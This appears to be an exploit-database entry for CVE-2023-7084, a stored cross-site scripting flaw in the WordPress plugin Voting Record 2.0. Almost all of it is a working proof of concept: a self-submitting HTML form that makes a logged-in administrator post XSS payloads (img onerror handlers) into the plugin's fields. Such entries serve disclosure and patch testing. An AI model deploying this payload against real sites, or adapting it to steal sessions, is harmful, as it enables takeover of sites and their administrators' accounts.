CVE: CVE-2023-7084

Name: Voting Record (voting-record)

Version: 2.0

Date: 2022-12-10 21:20:34

Advisory: 

Type: Stored XSS

Exploit: 


<form action="https://example.com/wp-admin/index.php" method="POST">
    <input type="text" name="bill" value="1">
    <input type="text" name="description" value='hacked"><img src=x onerror=alert(3)>'>
    <input type="text" name="vote" value="Yea">
    <input type="text" name="voter" value='hacked"><img src=x onerror=alert(2)>'>
    <input type="text" name="date" value="2022-12-10">
    <input type="text" name="result" value="pass">
    <input type="text" name="tally" value="3">
    <input type="text" name="record_vote" value="Save">
</form>
<script>
    document.forms[0].submit();
</script>